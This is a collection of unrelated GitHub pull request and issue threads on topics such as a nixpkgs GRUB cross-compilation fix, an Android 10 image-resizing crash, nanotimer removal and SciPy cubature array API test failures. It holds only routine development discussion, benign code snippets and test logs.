[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[x] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Diff LGTM otherwise, just the one question.

/rebase master

We can go straight to master. GRUB, while it boots the OS, looking like it's at the root, is a pretty leafy package. A total of 23 attributes it affects in Nixpkgs proper. And the iso/sd images are always rebuilt anyway, so it's not like it changes anything there :)

Almost forgot to come back here with the fix.
With this, and changes in iso-image.nix part of WIP work not yet in a PR, I was able to successfully cross-compile a UEFI iso image.
Yes, freetype has to stay in both build inputs.
diff --git a/pkgs/tools/misc/grub/2.0x.nix b/pkgs/tools/misc/grub/2.0x.nix
index c674a17b82e..f2db5bef454 100644
--- a/pkgs/tools/misc/grub/2.0x.nix
+++ b/pkgs/tools/misc/grub/2.0x.nix
@@ -72,7 +72,7 @@ stdenv.mkDerivation rec {
   '';

   depsBuildBuild = [ buildPackages.stdenv.cc ];
-  nativeBuildInputs = [ bison flex python3 pkg-config autoconf automake gettext ];
+  nativeBuildInputs = [ bison flex python3 pkg-config autoconf automake gettext freetype ];
   buildInputs = [ ncurses libusb-compat-0_1 freetype lvm2 fuse libtool ]
     ++ optional doCheck qemu
     ++ optional zfsSupport zfs;


Fix unexpected call to OPENSSL_thread_stop from DllMain

For 1.1.0 branch

the travis-build failure is related.
For unknown reasons the mingw build does build/include dllmain.c
@levitte any idea?

travis is now good.


add alexnet doc

https://github.com/PaddlePaddle/Paddle/pull/36035 文档部分

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

需要添加索引到这个文件中：https://github.com/PaddlePaddle/docs/blob/develop/docs/api/paddle/vision/Overview_cn.rst

已添加～

还有 alexnet 这个也需要加进去的

还有 alexnet 这个也需要加进去的

恩恩，已经加入了


Update iOS version badge

I just changed the min iOS target badge to 12. Latest version of Alamofire requires iOS 12.0, so the project had to be bumped. Forgot to update the badge in the readme.

Ok, should be all iOS 10 now. I could have sworn that something asked for 12 before. Probably "Update Pods.xcproj" warning resolution sets the target on pods.


Kick the Python style guide can down the road

We really don't need to review this every 6 months

Yep! Might also be worth bumping the review date if we're happy with the page as it stands now but up to you folks

I haven't done a thorough review so felt it best to leave the review date as-is 😅
@jonodrew @louzoid-gds I don't have write access to this repo, so will need one of you to hit the merge button when ready. Thank you 🙏


Display recently ended queues on home page for 5 minutes

So I started working on this issue the other day and came across a weird issue. Firstly, though, let me talk a little about design. I was imagining that the "Recently ended" would look something like this:

Except perhaps the cards would have colors changed to show they had ended, perhaps like this:

and would also say "Ended at" rather than "Ends at".
Definitely curious as to what you're thoughts are on styling, maybe make the "Recently Ended" a bit smaller/more faded than I show in the screenshot?
Anyway, where I ran into issues is I can't seem to get any ended queues from the database. For example, when I call Queues.find({ status : 'ended' }) I get no results, but when I call db.queues.find({status : 'ended' }) from the mongo REPL, I get many results. No idea why this is, but I will continue to look into it. If you have any ideas why this might be happening let me know! Anyway, once I do get that working I'd imagine I'd make a call similar to Queues.find({ endedAt : { $gt : moment().subtract(5, 'minutes').toDate() } }) and loop over that to show the cards.

Ooh, interesting suggestion! I wanna think about the design a little bit, so let me hold feedback on that for a bit.
As for getting the data, the reason the client can't find them is because the server isn't publishing it. Observe that in the queues.active publication, we only publish open and cutoff queues. Further, on the client, we only subscribe to this publication.
What we'd want to do is add a new publication queues.recentlyEnded, and subscribe to it on the client in the same place above.

Ah cool! I'll get that part working first, so no rush on the design comments.

Okay, so everything on the backend is working now. I definitely am not so confident about the currently styling. The recently ended is just so large, it seems like they're of the same "type" as the active queues. I could imagine maybe making the cards smaller to emphasize them less on the page? But anyway, let me know.

Fantastic, glad to hear! I thought about this a little more, and figured it's hard to see how this feels without seeing it live.
How about we do a slightly more discreet approach for now? Let's leave the queues in the same position (interspersed with other queues), but have the black and white treatment you have here. We should also have the text Ended at 8:49 AM, but maybe change the icon to the ended icon?
Feel free to open a PR so I can review the code! :)

(And apologies for the late response; midterms week was unfortunately quite busy!)

Let me know if you need to be unblocked in any way for this. Sorry for sporadic feedback!


feat: remove use of nanotimer

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)

feature

What is the current behavior? (You can also link to an open issue here)

nanotimer is used to ensure accurate timing in timers, at the cost of increased cpu usage.
@mint-dewit can you remember any justification for using nanotimer over regular nodejs timers? https://github.com/nrkno/sofie-atem-connection/commit/84482cad64bf5213eef1ce99eaaecc2e36762ae8 I can't find anything in asana or the github issues that give an explanation

What is the new behavior (if this is a feature change)?

use setTimeout instead of nanotimer.
In my testing, this gave accurate enough results. And as we run this timer in a worker thread, there shouldnt be much/any contention on cpu time within the thread. It is possible that the timer callback will be late if overall system cpu usage is high, but I am not sure if nanotimer would do this much better, as it will be compounding the cpu starvation with its spin loop, and it still relies on the event loop running to run the next iteration.

Other information:
Testing shows setTimeout is able to pretty accurately fire after short periods. This will improve performance, as nanotimer spins the cpu to hit its target. Tested using a variation of https://github.com/nodejs/node/issues/26578#issuecomment-471392004

This could probably do with some more stress testing in a production like environment to ensure it doesnt cause any issues in a real environment.

Codecov Report
Patch coverage: 95.45% and project coverage change: +0.01% :tada:

Comparison is base (a4f9b8b) 86.28% compared to head (e84cf95) 86.30%.
Report is 2 commits behind head on master.

Additional details and impacted files
@@            Coverage Diff             @@
##           master     #154      +/-   ##
==========================================
+ Coverage   86.28%   86.30%   +0.01%
==========================================
  Files         180      180
  Lines        5812     5819       +7
  Branches      957      960       +3
==========================================
+ Hits         5015     5022       +7
  Misses        775      775
  Partials       22       22

Files Changed
Coverage Δ

src/lib/atemSocketChild.ts
94.19% <95.45%> (+0.13%)
:arrow_up:

... and 2 files with indirect coverage changes

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


[VEG-207] Add webhooks resource

@zendesk/vegemite
We should add a new Webhooks resource to this gem, if we would like to use this api client to fetch such resources while using authenticated sessions.

I had love to see this available as well!

This change is no longer needed.


Support non-whitespace Table creation

Table created by the library is the prettified version and contains spaces between each elements which expands to the length of the largest string in the particular column. However, not all markdown users want this prettified version.
An option to disable this would be good. May be a method setPrettify(boolean) on the Table.
I want to discuss the feasibility of it before creating a PR.

I can't think of a use-case for myself, but if you feel like it would be nice to have, go for it. Having the option can't hurt, as long as the default behavior doesn't change. Looking forward to your PR!


Whether pretrained model in this repo is trained with VGG face2 dataset??

Hi ,
I'm bit curious to know whether pretrained models available in this repo has been trained using 3.31 Million images provided from vgg face2 (http://www.robots.ox.ac.uk/~vgg/data/vgg_face2/) ,if yes then i will use this embeddings ____ if not then , iam thinking to train available models on this dataset so I need some suggestions for model architectures and hyperparameter selection !

yes you can use it. I already trained a model with center loss on vggface2

Where can I find the model you trained?@Shahnawazgrewal

Refer he will upload and share...

Thanks

Validation on LFW dataset with the model trained on VGGFace2
Runnning forward pass on LFW images
Model directory: /home/super/datasets/lfw/vggface2-cl
Metagraph file: model-20171216-232945.meta
Checkpoint file: model-20171216-232945.ckpt-100000
Runnning forward pass on LFW images
Accuracy: 0.992+-0.004
Validation rate: 0.96000+-0.01880 @ FAR=0.00067
Area Under Curve (AUC): 0.999
Equal Error Rate (EER): 0.008


Split Targets and Config and add find_package

This last CMake update splits out the XConfig.cmake and the XTargets.cmake files so that find_dependency lines can be added for the OpenEXRConfig.cmake. The process is described in docs below.

https://cmake.org/cmake/help/latest/module/CMakeFindDependencyMacro.html#module:CMakeFindDependencyMacro
https://cmake.org/cmake/help/latest/module/CMakePackageConfigHelpers.html?highlight=package_init#command:write_basic_package_version_file.

We discussed this in the steering committee. This is almost certainly a result of the complication of the top-level "super-build" setup that builds the submodules IlmBase, OpenEXR, PyIlmBase, OpenEXR_Viewers. Our intention with the 3.0 release later in the year is to split these projects into separate github repos, creating proper dependencies between them, which will mean an entire re-vamp of the cmake setup. At this point, this need for a special find_package will change drastically or go away entirely. We'd like to minimize any investment in maintaining the existing setup. This PR adds a level of additional complexity that we'd like to avoid.

As mentioned above, this entire structure is slated to be retired soon, but this change looks fine for now, so merging it in.


upgraded to 4.0.0.Beta5

Hi @mbiarnes,
I have just released 4.0.0.Beta5 at the request of @porcelli so I will close this PR. It should be available on Nexus shortly.
Cheers.

@mbarkley many thanX


URGENT - error android api level 29

one user from my app send me this error
null cannot be cast to non-null type  android.graphics.Bitmap
he has android 10 apii level 29
the error happens when i use your library
but i only see this error with android 10 api level 29
ImageResizeOption resizeOption = new ImageResizeOption.Builder()
                    .setImageProcessMode(ImageMode.ResizeAndCompress)
                    .setImageResolution(width, height)
                    .setBitmapFilter(false)
                    .setCompressQuality(75)
                    .setCompressFormat(Bitmap.CompressFormat.JPEG)
                    .setScanRequest(ScanRequest.TRUE)
                    .build();

ResizeOption option = new ResizeOption.Builder()
                    .setMediaType(MediaType.IMAGE)
                    .setImageResizeOption(resizeOption)
                    .setTargetPath(inputF.getAbsolutePath())
                    .setOutputPath(outputF.getAbsolutePath())
                    .setCallback((code, output) -> {
                        if (code > 0)
                         some code
                        else
                         some code
                    }).build();

MediaResizer.process(option);

maybe kotlin code is necessary to change
i found this error
https://stackoverflow.com/questions/55967515/kotlin-typecastexception-null-cannot-be-cast-to-non-null-type-android-graphics
i dont know if it has relation with this problem
update:
i use the emulator of android studio and i checked the problem happens with android 10
this is the log of the error
Caused by: kotlin.TypeCastException: null cannot be cast to non-null type android.graphics.Bitmap
        at pyxis.uzuki.live.mediaresizer.processor.ImageProcessorKt.resizeImageInternally(ImageProcessor.kt:36)
        at pyxis.uzuki.live.mediaresizer.processor.ImageProcessorKt.resizeImage(ImageProcessor.kt:24)
        at pyxis.uzuki.live.mediaresizer.MediaResizer.process(MediaResizer.kt:24)
        at schan.main.ChatActivity.processImage(ChatActivity.java:1943)

thanks for any help you can give me

hi again
this bug will be resolve in the future ?
thanks for the answer

more errors in android 10
`ava.lang.RuntimeException:
at android.app.ActivityThread.deliverResults (ActivityThread.java:5096)
at android.app.ActivityThread.handleSendResult (ActivityThread.java:5137)
at android.app.servertransaction.ActivityResultItem.execute (ActivityResultItem.java:51)
at android.app.servertransaction.TransactionExecutor.executeCallbacks (TransactionExecutor.java:135)
at android.app.servertransaction.TransactionExecutor.execute (TransactionExecutor.java:95)
at android.app.ActivityThread$H.handleMessage (ActivityThread.java:2146)
at android.os.Handler.dispatchMessage (Handler.java:107)
at android.os.Looper.loop (Looper.java:237)
at android.app.ActivityThread.main (ActivityThread.java:7762)
at java.lang.reflect.Method.invoke (Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run (RuntimeInit.java:493)
at com.android.internal.os.ZygoteInit.main (ZygoteInit.java:1047)
Caused by: kotlin.TypeCastException:
at pyxis.uzuki.live.mediaresizer.processor.ImageProcessorKt.resizeImageInternally (ImageProcessor.kt:36)
at pyxis.uzuki.live.mediaresizer.processor.ImageProcessorKt.resizeImage (ImageProcessor.kt:24)
at pyxis.uzuki.live.mediaresizer.MediaResizer.process (MediaResizer.kt:24)
at schan.main.ChatActivity.resizeWallpaper (ChatActivity.java:2209)
at schan.main.ChatActivity.onActivityResult (ChatActivity.java:2227)
at android.app.Activity.dispatchActivityResult (Activity.java:8318)
at android.app.ActivityThread.deliverResults (ActivityThread.java:5089)`

It doesn't work on my Android 10 device (S10+). However, it is not unreasonable to crash when Bitmap is null. #12 will fix crash when bitmap is null (TypeCastException).
Also, This library uses BitmapFactory.decodeFile to convert File to Bitmap object.
It's probably caused when file is empty or you enter a file that Android doesn't support.
I published 1.1.1 version with #12 , It can be used in 1 hours. Try that version and reopen issue when this issue is reproduced.

I can't reproduce this issue on my Android 10 device (S10+). However, it is not unreasonable to crash when Bitmap is null. #12 will fix crash when bitmap is null (TypeCastException).
Also, This library uses BitmapFactory.decodeFile to convert File to Bitmap object.
It's probably caused when file is empty or you enter a file that Android doesn't support.
I published 1.1.1 version with #12 , It can be used in 1 hours. Try that version and reopen issue when this issue is reproduced.

thanks ...
i will test with the new version

the problem with android 10 was other
here is explained the problem
https://medium.com/@sriramaripirala/android-10-open-failed-eacces-permission-denied-da8b630a89df
thats the reason the file was empty
but anyway thanks for fixing the crash


WIP: Updates to Common Chart

Description of the change
Added containerPorts function to common chart
Existing or Associated Issue(s)
N/A
Additional Information
None
Checklist

[x] Chart version bumped in Chart.yaml according to semver. Where applicable, update and bump the versions in any associated umbrella chart
[x] Variables are documented in the values.yaml and added to the README.md. The helm-docs utility can be used to generate the necessary content. Use helm-docs --dry-run to preview the content.
[ ] JSON Schema generated.
[x] List tests pass for Chart using the Chart Testing tool and the ct lint command.

Closing to open a new PR


[zh-CN] For 'auth.php'

@ericksli Please help translate zh-HK.Thanks! :smile:
@whsyu  Please help translate zh-TW.Thanks! :smile:
謝謝二位！

@overtrue translated, thanks :smile:

@whsyu 赞 ！ :+1:

Thanks


Release 1.1.16

Checklist

[ ] Used a personal fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

@conda-forge-admin, please rerender

Yep, just need the 0.4.0 PyPI release for the work that was done last year. On the lab 4 piece, there's some other stuff which may make that transition more pallatable (e.g. treesitter -> lezer).


ENH: integrate.cubature: array API standard support

Reference issue
Builds on #21330 , towards gh-20930.
What does this implement/fix?
This adds support for the array API in scipy.integrate.cubature (currently in the open PR #21330). This means that functions returning arrays from any array API-compatible library can be used. The corresponding tests have been updated using the @array_api_compatible decorator.
Additional information
There are a few places where np is still used, such as in integrate/_rules/_base.py::_subregion_coordinates. Once CI shows whether the current changes work with other array APIs, I'll address these.
The first PR also introduced a (private) rules API, which allows different integration rules to be used with cubature. Rules need to know the correct array namespace to generate nodes and weights in, so these have been updated to accept an additional xp parameter on initialisation. This defaults to np if not set by the user. This is only a concern when using the rules API directly rather than using cubature, since cubature knows the array namespace being used by looking at the integration endpoints.
Acknowledgements
Thanks to @ev-br and @lucascolley for help with array API support.

Ran $ python dev.py test -b cupy -t scipy/integrate/tests/test_cubature.py locally. There are several failures, but nothing stands out too much from what is already seen in the CI. Which is a good sign: there are only a few small issues altogether.
Details are under the fold.

=================================================================== short test summary info ===================================================================
FAILED scipy/integrate/tests/test_cubature.py::TestCubature::test_pass_str[newton-cotes-cupy] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubature::test_pass_str[trapezoid-cupy] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubature::test_stops_after_max_subdivisions[cupy] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem0-cupy-gk15-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem0-cupy-gk21-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem1-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem2-cupy-gk15-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem2-cupy-gk21-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem6-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem8-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem9-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem11-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem12-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem14-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem15-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem18-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_scalar_output[problem19-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape0-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape1-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape2-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape3-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape4-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape5-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
